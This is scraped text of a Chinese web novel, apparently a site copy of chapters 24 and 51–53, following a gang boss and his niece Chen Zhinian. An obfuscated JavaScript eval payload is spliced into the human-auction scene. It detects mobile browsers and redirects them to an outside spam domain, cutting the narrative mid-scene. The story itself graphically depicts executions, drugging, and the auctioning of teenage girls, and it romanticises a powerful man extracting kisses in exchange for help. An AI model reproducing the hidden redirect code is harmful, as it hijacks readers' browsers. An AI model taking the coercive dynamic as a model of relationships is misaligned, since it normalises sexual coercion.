然而,这沉默却被男人错误地解读成了妥协和理亏。 一股突如其来的自信窜上他心头,浑身火辣辣的疼痛也感觉不到了,不管不顾地说:“陈寅洛,你现在把老子放了,今天这事就算翻篇了,老子既往不咎!” 鲁老八瑟缩在地上,听到丧狗不知死活的狂妄之言,心里嗤笑一声,这蠢货!真他妈是挨打没挨够,嫌自己命太长! 陈寅洛是什么人,出了名的疯狗,睚眦必报、六亲不认,惹了他还想全身而退?真他妈天真! 这样想着,他悄悄往里边又缩了缩,尽可能降低自己的存在感,一边挪,心里一边疯狂吐槽着,可千万别溅老子一身血……他妈的,今天身上挂的彩已经够多了! 果然,下一瞬陈寅洛就从太师椅不紧不慢站起了身,几步踱到了丧狗面前,“放了你?” 那声音又轻又缓,尾调甚至带了点玩味的上扬。 丧狗浑然不觉死期将至,“哼!算你陈寅洛还懂点规矩!好歹大家也算是一条道上的,我丧狗也不是小肚鸡肠的人,你现在放了我,以后江湖再见,这事老子绝口不提!怎么样?够意思吧?” “呵。”陈寅洛竟被他逗得低笑出声,眼眸都微微弯了起来。他摇摇头,什么也没说,迈开长腿,头也不回地就朝门外走去。 就在他刚踏出门口的瞬间,“砰——”一声枪响,丧狗已经瞪着眼,倒在了血泊中。 解决完丧狗,雷子又提着枪,转身便大步走向缩在角落的鲁老八,一把揪住他的后领。 鲁老八满眼惊恐,杀猪般地尖声嚎叫起来:“陈老大!饶命啊!!这事真跟我没关系啊!我什么都说了!我什么都没做啊!您不能……您不能这样啊!!” 雷子眉头一皱,“出卖兄弟的狗也好意思求饶?” “砰!”又一声枪响,鲁老八额头上赫然多出一个血洞,直挺挺向后栽去,没了声息。 走廊外,陈寅洛站在巨大的落地窗前,看着外面通明的灯光。 ——她能去哪? 除了被人刻意隐藏,他实在想不出第二种可能。 是黎安邦? 24. 第 24 章 陈知念再次醒来的时是在一个逼仄黑暗的小屋子,空气中弥漫着发霉还有各种馊臭味,就像是衣物人体常年不洗的浓重汗垢,或是便溺的腥臭。 陈知念挪动了一下发麻的身体,胳膊肘却立刻抵到了一具身体,而且自己的手腕、脚踝也被绳索死死绑住了!绳索绑的很紧,勒近了皮肉里,想稍稍活动一下都做不到。 怎么回事?!她心中猛地一惊,混沌的意识被这突如其来的束缚感彻底驱散。 心脏骤然一跳,彻底清醒了。 她只记得陆平安突然从屋子里跑了出去,她担心他又被人欺负,根本来不及多想就跟了出去。刚追上陆平安,后颈就传来一阵钝痛,像是被什么硬东西砸中,接着她就什么都不知道了。 颈后还在隐隐作痛,她不敢发出太大的声响,只敢小幅度地挪动着,想要离开旁边远一点。可是就在下一秒,她就察觉到不对劲。 那个人她……她的身体是冷的,根本就不是活人该有的温度,僵硬、冰冷,像一具……尸体。 陈知念头皮瞬间炸开,死死咬住下唇才竭力扼住差点冲口而出的尖叫。 她紧紧闭上眼又再次颤抖着睁开,通过眼角余光,她模糊地看到旁边是个和她差不多年纪的女孩,身材瘦小,手不自然地弯曲着,眼睛紧闭着,脸庞呈现出毫无生气的青白色,没有任何呼吸的痕迹。 她死了。 一阵刺骨的寒意瞬间席卷了陈知念的全身。 这是哪儿?!她身边为什么有一具尸体? 她强迫自己混乱的大脑飞速运转,在极度恐惧中拼命搜刮着记忆里关于禁区的一切可怕传闻。那些她曾以为是夸大其词、遥不可及的黑暗故事,此刻变得越来越清晰明朗。 听说禁区里有专门贩卖人口的组织,女孩会被明码标价,卖去不见天日的地方。而男人,尤其是那些身强体壮的,他们的心脏、肾脏、角膜……所有健康的器官都会被拆解,成为黑市上流转的紧俏货。 绝望如同沉重的潮水,开始一寸寸地漫过她的头顶。 怎么办,她该怎么办。 她绝望地环顾四周,屋子大概不到十平米,低矮压抑,目之所及没有任何的出口,身边除了人还是人,手无寸铁,身陷绝境。 她深深吸了几口气,强迫自己镇定,接着尝试用牙齿去咬手腕的绳索,不管怎么样,比坐以待毙好。 然而就在这时,门被哐当一声踹开,陈知念顿时浑身一抖。外面刺目的光线顿时宣泄进来,刺得她不由地屈起了眼,过了好几秒她才勉强适应光亮,模糊中看到一个穿着花衬衫的肥硕中年女人走了进来,嘴里叼着烟,双手叉在腰上。 “起来!都他妈给老娘爬起来,快点!”女人刚进门,就对着门口处躺着的几个人狠狠踹了几脚,语气极其不耐烦:“磨磨蹭蹭的!皮痒了是不是!” 屋子里的人这才哆哆嗦嗦地,一个接一个从地上爬起来,她们大多数都沉默着,脑袋沉重地耷拉在胸前,脸上没有任何表情,像一具行尸走肉的躯壳。 “啪”一下白炽灯开了,狭小的屋子顿时变成一片通明。 “后面的!磨蹭什么!快点!”中年女人不耐烦地厉声催促。 陈知念被这光线刺得再次眯起眼,但这一次,她终于彻底看清了。这间不足十平米的囚室里,密密麻麻、摩肩接踵地挤着的,竟然全是和她年纪相仿的年轻女孩! 她们大多衣衫褴褛,面色惨白,眼神空洞的像是没有灵魂,甚至身上还有许多青紫的伤痕,有陈旧的,有新添的,可她们像是感觉不到疼,像牲口一样被驱赶着,一步步往外挪着。 为了不引起瞩目,陈知念也只能哆嗦着站起来,努力把头埋低,几乎快要垂到胸前,散落的长发遮住了她大半张脸。 女孩们被粗暴地一个个拖拽出去,屋内的空间以肉眼可见的速度变得空旷,压抑感却丝毫未减,反而因为即将轮到自己而变得更加令人窒息。 要不了几分钟,甚至可能就是下一秒,就该轮到她了! 陈知念心急如焚,恐惧占据了她整个心房。借着人群的阻挡,她身后的手不住地挣扎,手腕火辣辣的疼,还有液体顺流而下,应该是磨出血了。 可她不敢停下,哪怕争取到一点点松动,都可能是一线生机。她根本不敢想象,继续待下去或是被带出去,等待她的会是怎样可怕的事。 绳索在她的不懈努力下,终于松动了一点点,可是还不够,空间根本就不足以她挣脱出来。 快一点,再快一点。 她在心里疯狂地催促自己,即使理智在清楚地告诉她,即便侥幸解开了绳索,她逃脱成功的几率也渺茫的可怜。 然而下一刹,一个身材健壮的男人径直走了过来,视线看到了地上女孩的尸体,男人嫌弃地呸了一声,粗声粗气地对着门外喊道:“真晦气!花姐,又死了一个!” 说完,他根本不容反抗,那双铁钳般的大手就擒住了陈知念的双臂,她奋力地挣扎,可所有的挣扎在绝对的力量面前毫无用处,她甚至没来得及感受到更多恐惧,就被粗暴地拖拽着到了门口。 到了门口,那个叫花姐的中年女人双手抱胸,目光极其轻浮地扫视着她发抖的身体,随后她伸出肥短、戴着满戒指的手指粗鲁地拨开她汗湿的头发,捏着她的下颌,强迫她抬起头来。 当看清陈知念即便沾满污渍但依旧清丽出色的五官时,她脸上才露出一丝贪婪的笑意。 “啧,这个胚子倒是不错。”她对男人说道,“带下去叫人好好洗洗,顺便验验。” 她贪婪的目光不停在陈知念身上游走,“再来点药,这种货色肯定能卖个好价。” “放开我!你们要干什么?!”陈知念终于抑制不住地尖叫起来,双脚拼命朝后瞪去,身体不停扭动,企图挣脱男人的桎梏。 “妈的!给脸不要脸!”男人毫不怜香惜玉,一巴掌甩在她脸上,白皙的脸颊登时浮出几个清晰的手指印。 花姐抱着胳膊冷眼旁观,“省点力气吧,小姑娘,到了我们这还想跑?一会用了药,有你舒服的时候。” “放开我!放开我!我不要去!” 她的哭求并未换来丝毫怜悯,反而让壮汉更加烦躁。他粗暴地加大了力道,将她半拖半提起来,毫不留情地拽着她往那条阴暗通道的深处走去。 男人将她甩在地上就离开了,随后涌上来四五个上了年纪的女人,一句话不说,几双粗糙有力的手同时抓住她的胳膊、腿脚,开始毫无顾忌地撕扯她身上的衣服。 “不!不要!滚开!!”陈知念发出凄厉的尖叫,拼尽全身力气踢打、扭动、撕咬,但依然无法阻止。 很快,她便被彻底剥得□□,赤裸地暴露在空气和那些冷漠的目光下。 屈辱和恐惧像潮水般将她淹没。 紧接着一根水管被拎过来,冰冷的水从她头顶直冲而下,冷水毫不留情地冲刷着她的身体,头发上、脸上,呛得她无法呼吸,只能剧烈地咳嗽。 有人拿起粗糙硬质的板刷,蘸着气味刺鼻的消毒药水,便开始用力地刷洗她的身体。 不知持续了多久,当水管终于被关上,陈知念已经失去了所有挣扎地力气,精神恍惚地瘫倒在湿漉漉的地面上。 那些人可不会管她死活,洗干净了后,一个粗暴地扯起她的胳膊,将她拽了起来,另一个人立马拿了一条艳俗的短裙,套在了她身上。 整个流程如同一条无情的流水线。陈知念还在恍惚中,就被人粗暴地推搡着,辗转带到了另一个房间。 她还没看清环境,身后两个强壮的女人便不由分说地将她死死按在了一张金属椅子上,紧接着一个穿着白色罩衫的男人走了进来,他手里拿着一个注射器,针筒内装着半截蓝色的液体。 陈知念彻底崩溃了,她认得那个东西,在学校的禁药宣传册上、电视上,她见过很多次! “不……不要!拿走!放开我!!” 她爆发出歇斯底里的嘶吼,身体疯狂地挣扎起来,但她的哭喊和扭动只能让那几个按住她的妇人更加用力。 她只能眼睁睁看着那闪着寒光的针尖刺破自己的皮肤,里面的液体随之消失。 大概不到一秒,她的视线便开始模糊、扭曲,眼前的景象如同被打碎的玻璃,分裂成无数旋转、放大又急剧缩小的碎片。 身体彻底失去了重量,轻飘飘地浮在了云端,再也感受不到一丝重力,所有的触觉都在飞速抽离。 周遭开始变得虚无,所有的一切都消失了,仅存的意识被拉扯着,湮灭消散,最终所有感知都凝聚成瞳孔深处一个不断闪烁、时大时小的光点。 然后,沉入了黑暗。 再次睁眼时,陈知念是在一个笼子里。 笼子外是环形的看台,密密麻麻挤满了人,抽烟的、喝酒的、吹口哨的,嘈杂的声浪像潮水般涌来。 最上方一顶巨大的射灯投射在笼子里,将笼子里穿着清凉的女孩们身影曲线照得无处遁形。 灯光炙烤着陈知念的皮肤,也让她清晰地暴露在看台下每一双贪婪、评估、充满欲望的眼睛里。 她眼睁睁看着一个大汉走进笼子,蛮横地随机扯起一个女孩的头发,拖着往外走。 女孩不过十五六岁的样子,嘴里发出细碎的哭喊:“别抓我!放过我吧,求求你们……” 大汉充耳不闻,大手嘶拉一声撕碎女孩的裙摆,大片的肌肤暴露在灯光下,对着台下吼道:“看看这货色!年轻!健康!底价五十万!每次加价不得少于五万!” 台下顿时响起一阵更加狂热、掺杂着各种污言秽语的叫价声。 “妈的,这小的我要了!五十万!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16289628|182378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你急个什么劲!先让老子看看品相!五十五万!” 陈知念心脏狂跳,心里的震撼和极度的恐惧已经让她没办法思考了,她看着那女孩在聚光灯下无助地哭泣、颤抖,仿佛也看到了几分钟后自己的下场。 而此时看台下的某一处不起眼的角落里,一个戴着鸭舌帽的少年坐在椅子上,帽檐压得极低,遮住了大半张脸。他的视线牢牢锁定着陈知念,连眨眼都舍不得。 当看到她浑身的伤痕和暴露的衣着时,陆野的呼吸突然变得粗重,额角的青筋一根根暴起,插在口袋里的右手紧握着匕首,仿若下一瞬就要暴起伤人。 他恨不得现在就冲上去,把那些对陈知念露出贪婪目光的渣宰,一个个都捅穿! 但—— 他猛地深吸了一口浑浊灼热的空气,将那要破笼而出的杀意硬生生压回胸腔。 这样毫无理智地冲上去,什么用处都没有,不仅救不了她,自己也会栽在这里。到时候,她和平安……就真的没有一点指望了。 陈知念失踪后,陆野在周围四处打探,终于得到了当天只有巴莱的车到过小巷,所以他从废弃的管道溜了进来。 他想好了,等陈知念被人拍下准备带着离开的时候,他就悄悄跟出去。 然后,杀了买下她的人!带她回家! “下一个!” 那个身材魁梧的大汉便再次弯腰钻进笼子,没有任何停滞,大手一把钳住了陈知念的胳膊。 “滚开!别碰我!”陈知念一脚踹过去,趁着大汉躲避的空隙,转身就逃。 这一举动彻底惹怒了大汉,他脸上横肉抖动,眼中凶光毕露,一把揪住她的头发,猛地往回一拽。 “啊!!”陈知念发出一声凄厉的尖叫,整个人被巨大的力道扯得向后仰倒,重重摔在地面上。 “妈的,贱货!” 大汉上前一掌甩在她脸上,不顾她的抵抗,拖着她走到了看台中央。 聚光灯死死追随着她的身影,看台下,污言秽语和兴奋的口哨声瞬间高涨,她能感觉到无数道目光像黏腻的触手,在她裸/露的皮肤上游走、刮擦。 大汉粗暴地擒住她的下巴,铁钳般的手指像是要捏碎她的骨头,强迫她高高仰起头,将那张沾满泪痕、苍白却依旧惊人的脸庞,毫无保留地展示在聚光灯下,好让台下的买家更清楚地看到她的品相。 “极品!真是顶级货啊!看看那脸盘那身段!老子出八十万!都他妈别跟我抢!” “八十五万!” “九十万!这雏儿我要定了!” “一百万!现金!现在就能交易!” 价格在令人瞠目的速度下疯狂飙升,每一次喊价都像一把重锤,狠狠砸在陈知念即将崩溃的神经上。 就在这时,“轰——!”一声震耳欲聋的巨响炸裂开来,整个地下空间剧烈震颤,拍卖场那扇厚达十厘米的金属大门竟被瞬间炸开。 “敌袭!!”“操!什么人?!”“抄家伙!!” 拍卖场的守卫反应极快,瞬间从后腰掏出枪,看台下原本狂热的买家们更是炸开了锅!他们像无头苍蝇一样推搡着,疯狂涌向出口,然而出口等待他们的是一排排黑洞洞的枪口。 最先挤出去的几人甚至没来得及看清,头颅便如同熟透的西瓜般猛地炸开,脑浆四溅。 这一幕如同最有效的镇定剂,刚才还汹涌着往外挤的人群顿时如潮水退散,鬼哭狼嚎着又往回挤。 下一秒无数身穿黑色作战服、手持冲锋枪的大汉快速冲了进来,“击毙所有持械目标!” “砰!砰!砰!” 这群人目标明确,动作高效,火力精准覆盖每一个持有武器的角落。 不过数十秒,刚才还试图反抗的拍卖场守卫,此刻已全部变成了倒在地上的躯壳,鲜血从他们身下汩汩流出,蜿蜒漫延。 他们至死都圆睁着双眼,脸上凝固着惊骇与难以置信的表情,像是不敢相信自己的生命这么快就被终结。 整个镇压过程快得超乎想象。 刚才还嘈杂喧闹的欢乐场,此刻彻底被死亡和绝对的武力所笼罩,所有人都瑟缩着躲在椅子下,连大口呼吸都不敢,唯恐一个不慎丢了小命。 在绝对的寂静下,一道穿着黑色风衣的身影踏着烟尘,不紧不慢地走入这片混乱的中心。 他的步伐沉稳而有力,灯光掠过他英挺冷峻的侧脸,那上面没有丝毫表情,却锋锐地不敢让人直视。 所过之处,空气都仿佛被冻结。 没了桎梏,陈知念浑身一软,瘫倒在看台上。然而当她的目光触及入口处的那道身影,原本涣散的眼眸骤然爆发出惊人的亮光。 所有的恐惧、委屈、绝望在这一刻找到了宣泄的出口,带着哭腔的嘶喊冲口而出: “小叔叔!” 50-60 第51章 “你明天要上课?”陈寅洛忽然侧过头,看似随意地问。 陈知念指尖蜷了蜷,低声应道:“……要上的。” 他又皱了眉,继续问:“晚上也必须回家?” “……是的。” 得到答案,陈寅洛瞬时将视线移到窗外,降下车窗,“上来。” 严彬顿时拉开车门上了车,车辆开始缓缓启动。 他的余光悄悄瞥向后座,心里犯嘀咕。 洛哥下午两点与军方代表的会面至关重要,涉及军事提案落地后的具体合作细则,从装备配给到人员部署,每一项都是在议会历经多轮博弈才敲定的成果,绝不能出任何差池。眼下已近十一点,按理应当提前抵达会场做最后准备。可洛哥对此只字未提,反而默许了陈小姐留在车上。 严彬犹豫着要不要提醒,可转念一想,洛哥向来心思缜密,这种重要的会面不可能忘。既然他没说,肯定是有自己的打算,自己贸然开口,反而不合时宜。 陈寅洛靠在后座,眼眸微阖,看似在养神,脑中却在冷静权衡。 三个小时的间隙,本应用来复盘提案细节或进行前置准备。让陈知念现在离开,是符合他行事准则的最优解。 理智清晰地告诉他,现在就该让身边这个碍事的小东西立刻下车。 但某种从未有过的情绪,却悄然压过了绝对理性的天平。 唇上似乎还残留着方才的触感,那生涩的试探和温软的屈服,像一种新鲜的印记,陌生的满足感,让他下意识想要紧紧攥着不松手。 而且,她为了陈毅衡来求他,目的明确,态度乖顺,用完了就想着划清界限。 他偏不想让她得逞得这么顺利。 更何况,她明天要上课,晚上要回家,这意味着从明天开始,他白天见不到她,晚上也摸不着人,难不成要他守着空气? 现在放她走,说不定一转脸,她就又去找那小子软语温存。 一想到这,陈寅洛的眉头就不自觉地皱了起来。 沉默片刻,他开口:“你不想知道你爸的消息了?” 陈知 念抬头,急切地向他靠近几分,回答道,“我想!我当然想知道!小叔叔,您……您有消息了吗?” 陈寅洛不着痕迹地勾勾唇,旋即又压下,声音依旧冷淡:“想知道,就安分在这儿等着。我已经派人去查了,很快就会有消息。” 还是在他眼皮子底下呆着,比较稳妥。 车辆在一栋低调奢华的餐厅前停下。 陈寅洛率先打开了车门,陈知念有些茫然地转头,“小叔叔,我们来这里……” “饿了。” 陈寅洛跨下车,不耐烦回头,“还是你想在车上饿着肚子干等?” 陈知念犹豫了几秒,爸爸还没有消息,她哪有心思吃饭?可看着陈寅洛已经走进餐厅的背影,话到嘴边又咽了回去,只能跟上他的脚步。 餐厅内部装修奢华,暖黄的灯光映着复古的壁画,悠扬的小提琴声在空气中流淌。侍者恭敬地迎上来,领着他们走向二楼的私人包间。 陈寅洛拿着菜单随意翻了翻,头也没抬,“想吃什么?” “我……我不饿。”陈知念坐在他对面。 陈寅洛抬眼瞥了她一眼,放下菜单:“不饿也得吃。你要是饿晕在这,还指望我给你抬回去?” 陈知念只得胡乱指了菜单上第一行:“就要这个意面吧。” 就在这时,陈寅洛的手机响了,他看了眼屏幕,接起电话:“说。” 陈知念的心瞬间被揪紧了,身子不自觉地前倾,连呼吸都屏住了。 会不会是爸爸的消息?她紧紧盯着他的表情,试图从那张冷峻的侧脸上读出些许信息。电话那头不知说了什么,陈寅洛只是偶尔“嗯”一声,眉宇间看不出丝毫情绪。 挂了电话,他端起桌上的柠檬水,轻轻抿了一口,才慢悠悠地开口:“昂蒂弗那边说找着人了。” 陈知念的身体瞬间绷紧:“真的?在哪里?安全吗?” “急什么。”陈寅洛放下水杯,“我还没说完。” “对方扣着陈毅衡,想要的不是钱,是白塔城手里的一批医疗物资。” “医疗物资?”陈知念皱起眉,“可官方之前说,一直在和对方谈条件,没提过这个啊!” “官方的话,你也信?” 陈寅洛嗤笑一声,眼底掠过嘲讽:“他们早就知道对方的需求,只是舍不得那批物资,才一直拖着谈判,装装样子罢了。” 陈知念的眼泪又快要涌出来,睫毛被迅速打湿,放在桌上的手也担忧地攥紧了。 “那……那怎么办,没有物资的话,他们会不会对爸爸……” “哭什么。”陈寅洛打断她,眉头微皱。 他身体向后靠向椅背,睨着她,“那批物资的调度权,可不在我手里。” 陈知念的心猛地一沉,刚刚燃起的希望霎时破碎,脸色变得更加苍白。 “不过,”陈寅洛话锋一转,“正好,下午我要见的人,正好就是能拍板这件事的。” 他的视线落在她脸上,欣赏着她情绪随着自己话语起伏的模样,细细品味着她每一个情绪的起伏。 “所以,你现在更该祈祷我下午的会谈一切顺利。我的心情好了,才更有余力去帮你周旋这件事,懂吗?” 陈知念像是抓住了救命稻草,急忙点头:“我明白!谢谢小叔叔!” “谢?”陈寅洛从喉间溢出一声轻嗤,“陈知念,你不长记性是不是,求人办事,就只舍得动动嘴皮子?” 这话像一记耳光,打得陈知念脸颊发烫,她抿着唇,一句话也说不出来。 陈寅洛此刻却显出惊人的耐心,视线悠然投向窗外流动的街景,指尖在桌面有一下没一下地轻叩。 沉默将近一分钟后,她终于像是下定了决心,肩膀微微垮了下来,声音轻若蚊呐,带着难以掩饰的羞耻和犹豫: “那……小叔叔,我亲亲你,可以吗?” 说完这句话,她的脸颊更红了,几乎要滴出血来,慌忙低下头,恨不得把自己藏起来。 陈寅洛看着她这副模样,像只被逼到绝境,只能主动献上安抚的小猫,既可怜又可爱。 他的喉结轻轻滚动了一下,原本想说的“不够”,到了嘴边却变成了一句带着点玩味的反问。 “你想怎么亲?” 闻言,陈知念骤然抬头,眼底满是惊愕和无措。她以为只要像刚才那样,轻轻碰一下就好,却没想到他会这么问。 她张了张嘴,想说“就、就像刚才那样”,可话到嘴边,又被羞耻堵了回去,只能咬着唇,半天说不出一个字。 看到她那手足无措的可怜样,陈寅洛心情很好地勾勾唇,随即朝她抬手,“过来。” 陈知念的身体像被施了魔法,下意识朝他靠近。坐到他身边后,那灼热的气息瞬间将她淹没。她深吸一口气,闭上眼睛,鼓起勇气,朝着他的唇凑了过去。 就在她的唇快要碰到他时,陈寅洛忽然抬手,指腹轻轻捏住她的下巴,稍一用力,就让她的动作顿住。 他看着她紧闭的眼睛,长长的睫毛还在微微颤抖,“睁开眼,看着我。” 陈知念脸颊滚烫,睫毛颤了颤,最终还是怯生生地睁开眼,瞬间撞入他带着戏谑笑意的眼眸中。 还没等她反应,陈寅洛已主动俯身,唇就轻轻贴了上来。 那触感很轻,像是一片羽毛轻柔拂过。 她的心脏瞬间漏跳了半拍,下意识想躲,后腰却被他按得更紧,连呼吸都乱了。 这个吻很短暂,不过几秒钟,陈寅洛就缓缓退开。 指腹却仍留恋地摩挲着她微微发烫的下颌,他垂眸凝视着她绯红的脸颊和迷蒙的眼睛,声音含着难以察觉的柔和。 “记住了,下次……至少该是这样。” 陈知念垂着眸不说话。 他的温度似乎还丝丝缕缕地缠绕在唇上,久久未散,反而化作一阵细密的酥麻。 这种情绪让她前所未有的茫然,还夹杂着说不清的惶恐。 “行了。”陈寅洛捏了捏她的脸,“不逗你了,吃饭吧。” 午餐在莫名平静的氛围中很快吃完,陈寅洛用餐巾擦了擦嘴巴,站起身来。 “我让人送你回去。” 陈知念连忙放下餐具,摆手拒绝:“不用了……我可以自己回去,坐公交很方便的,不麻烦。” 陈寅洛眼眸一凛,放她自己走?他脑子里立刻闪过那个毛都没齐的小白脸,一下午之间还有这么长,谁知道她会不会转头去找那小子。 他毫不留情拒绝:“别让我说第二遍,快点。” 陈知念被送走后,严彬开着车载着陈寅洛往会议中心行驶。 他抬眼看向后视镜,问道:“洛哥,我们真找欧司令去批医疗物资?” 陈寅洛抽出一支烟叼进嘴里,闻言白了他一眼,那眼神像是在看蠢货。 “阿彬,你脑子是不是落家里了。费那个劲去走官方流程,我看起来很闲?” “可您不是答应了陈小姐么。”严彬小声嘟囔着。 “答应?” “给诺顿传话。两天之内,把人平平安安送到我指定的地方。晚一个小时,下一批货的价钱,我涨三十个点。他要是觉得亏,损失从他自己那份里扣。” 第52章 陈寅洛说到做到,第三天陈毅衡就已经到了昂蒂弗大使馆,休息了一晚,第二天清晨就搭乘飞机,中午在白塔城空港机场落地。 “爸爸!” 看到那个牵挂了无数个日夜的人,陈知念眼眶瞬间蓄满泪水,不顾一切地朝着那个熟悉身影奔去。 陈毅衡刚踏出通道口,就被女儿撞了个满怀,身体踉跄了一下,却迅速反应过来,紧紧回抱住她。 “爸爸!”陈知念埋在他肩头,声音带着哭腔,满是劫后余生的庆幸,“您终于回来了,我好想您。” 陈毅衡抬手轻轻拍着她的背,声音也有些哽咽:“傻丫头,爸爸这不是好好的回来了么……没事了,没事了。” 陈知念抽泣好了一会儿,才抬起头打量着父亲,他瘦了好多,脸颊凹陷下去,胡茬青黑一片,眼底下是浓重的黑眼圈。 她又抹了把泪,“他们是不是欺负您了?” “没事,就是在那边没休息好。”陈毅衡笑着摇摇头,目光却越过她的肩膀向她身后望去,“你妈妈呢?她没来?” 陈知念的 眼神瞬间黯淡下去,低声道:“妈妈她……从您失联那天起就没睡过一个好觉,前两天忧心得病倒了,在家里躺着。爸爸,我们快回家吧,妈妈一直在等您。” 陈毅衡闻言,脸上那点重逢的喜悦被浓重的担忧取代:“怎么病倒了?严不严重?有没有去看医生?” “去看了,医生说就是过度劳累加上忧心过度,开了药让在家好好休息。”陈知念连忙安抚,“您别太担心,我们现在就回家,妈妈看到您肯定就好了。” “好,我们快点回去。”他一手紧紧握住女儿的手,另一只手拉过行李,脚步不自觉地加快,归心似箭。 车辆平稳地行驶在回家的路上,陈毅衡靠在椅背上,连日来的紧绷和疲惫终于得以松懈。他长舒一口气,感觉一直压在胸口的巨石被移开了。 他转头想和女儿说说话,发现她正低头看着手机,指尖在屏幕上轻轻滑动,似乎在给谁发消息。 一股暖流涌上心头,陈毅衡自然而然地以为女儿是在向家里报喜,“在跟你妈妈说我们快到家了吗?让她别着急,很快就到了。” 陈知念被吓了一跳,连忙抬起头,眼神有一瞬间的慌乱和闪躲。她下意识地将手机屏幕侧了侧,点头应和:“嗯……对,跟妈妈说一声。” 她飞快地按下发送键,然后将手机屏幕熄灭,紧紧攥在手心。 那条刚刚发出的信息,收件人并非母亲,而是那个备注为“债主”的号码。内容只有简短的两个字: [谢谢] 车辆很快就行驶到家门口,而那条简讯像是石沉大海,一直没有得到任何回复。 陈知念看着那孤零零的两个字和空荡的回复栏,心里非但没有失落,反而莫名松了一口气。 她想,没有回复也好。 所有的一切,都应该随着父亲的归来而彻底终结。 她天真地以为,这笔用羞耻和妥协换来的交易,终于可以到此为止,两清了。 手指在“免打扰”选项上悬停了很久,心脏怦怦直跳。 “念念,怎么了?”陈毅衡伸手拍了拍她的肩膀。 “没、没事。”陈知念慌忙按下“确认”,把手机揣回口袋,挤出笑容,“我们快进去吧,妈妈肯定等急了。” —— 陈知念发来信息的时候,陈寅洛刚结束了一场加密视频会议。 他这几天特别忙,每天都在连轴转,连睡觉都没时间。刚结束视频会,马不停蹄又赶往市政厅,参加“城市规划与民生发展”委员会会议。 其他议员唾沫横飞地谈论着“改善民生住房”,他坐在靠下的位置,指尖在平板快速滑动,审阅着近期赌场的利润报表和几家正在接洽的海外武装军/火订单需求。 心不在焉地听着无聊透顶的会议,陈寅洛揉了揉太阳穴,随手点亮手机,点开那个只有一条“谢谢”消息的对话框。他想着,等今天忙完,他一定要见见陈知念。 他想见她了。 下午两点,陈寅洛刚走出市政厅大门,严彬就迎了上来,“洛哥,接下来要去基金会的慈善午宴,还有半小时开场。” “知道了,把慈善午宴的嘉宾名单给我。”他接过名单,快速扫了一眼,指尖在几个名字上圈了圈。 这几人是做港口生意的,正好能借着慈善宴,敲定《港口安全法案》的后续操作细节。 慈善午宴现场灯火辉煌,媒体记者举着相机穿梭其间,闪光灯此起彼伏。 斛光交错间,陈寅洛看到严彬又拿了份文件,还朝他隐晦地打了个眼色。 他心里厌烦,面上却丝毫不显,温和对交谈的人笑道:“不好意思,失陪一下。” 说完,他转身跟着严彬走进休息室,刚关上门,脸上的温和就瞬间褪去,取而代之的是掩饰不住的疲惫。他靠在沙发上,抬手捏了捏发胀的眉心,从烟盒里抽出一支烟点燃,张明达派人送来的私人派对邀请函和赞助费清单放在腿上。 他扫了一眼清单上的数字,嗤笑一声:“狗东西倒是越来越敢开口了,一场私人派对,也敢要这么多赞助费。” 看完,他把文件随手一放,深吸了口烟,“把钱给他打过去。” “是,洛哥。”严彬利落地收好文件,刚想转身去安排,就听到陈寅洛又开口了。 “等等。”陈寅洛夹着烟,眼神放空了几秒,随后才缓缓说道:“告诉阿星,一会码头的抽检我不去了,让他自己搞定。” 严彬看了他一眼。批敏感货物是昨天刚到港的,里面装的是要运往海外武装的精密零件,之前洛哥一直强调要亲自去抽检,确保没有问题,今天怎么突然改主意。 但他不好过问,立即答道:“知道了,洛哥。” 等严彬走出休息室,陈寅洛重新靠回沙发上。他抬起腕表看了眼时间,下午五点,最多再熬半小时,宴会差不多就能结束。 他要去见她。 这样想着,他拿起手机,手指在屏幕上顿了顿,鬼使神差地点开了搜索引擎,输入:【谈恋爱该做的事】。 屏幕很快跳出一串答案,他逐条往下看: “日常陪伴与情感互动,如一起吃饭、逛超市、散步” “早安吻、晚安吻,适时送小礼物” “一起看日出日落、海边漫步” …… 看着这些陌生的词汇,陈寅洛皱了皱眉,又觉得有点道理。 他熄灭屏幕,把手机揣回口袋。 嗯,学会了。 等见面,就先约她吃饭,再提散步,至于小礼物…… 上次好像是拍了个什么宝石来着,那玩意拍完他就丢给严彬了,没想到今天还能派上用场。 终于熬到宴会结束,陈寅洛第一时间就摆脱了最后几个试图攀谈的人,大步流星地走向门口等候的黑色轿车。 车内隔绝了外界的喧嚣,他扯松领带,靠在舒适的真皮座椅上。 他拿出手机,指尖在屏幕上悬停片刻。 刚才在休息室里琢磨的约会话术还在脑子里转,可他又觉得别扭。 他陈寅洛什么时候需要用商量的语气约人了。 但想到她那唯唯诺诺、瑟瑟发抖的模样,他还是压下了那点别扭,按下了拨号键。 听筒里传来冗长的忙音,一声,两声……直到自动挂断。 陈寅洛微微蹙眉,眸光垂落在屏幕上,游移不定。 或许是没听见,没来得及。 他耐着性子,又重拨了一次。 同样的忙音再次响起,陈寅洛的脸色彻底冷了下来,眼底的期待瞬时被一片沉郁取代,一种被公然羞辱的刺痛感猛地窜起。 不用想也能猜到,陈知念不接电话,大概率是故意的。 前座的严彬敏锐地感觉到后座散发出的低气压,他悄悄从后视镜观察,就看到陈寅洛朝自己伸出了手。 “把手机给我。” 声音冷冽到极致,不带半分温度。 严彬赶紧从口袋里掏出手机递了过去。 陈寅洛接过,手指飞快地输入陈知念的号码,拨号键按下,这次只响了三声,听筒里就传来陈知念带着点疑惑的声音:“喂?请问是哪位?” 陈寅洛握着手机,沉默着。片刻的死寂后,他径直挂断了电话。 一股暴戾的怒火最先冲上他的头顶,像被点燃的汽油,瞬间烧尽了先前所有小心翼翼的学习和隐秘的期待。 很好,陈知念。 他突然觉得,之前想温和靠近的想法太可笑了。对付她这种得寸进尺的小姑娘,就该用他最擅长的方式。 你给我等着—— 作者有话说:[化了]谁能想得到呢 第53章 “妈妈,您慢一点,台阶有点陡。” 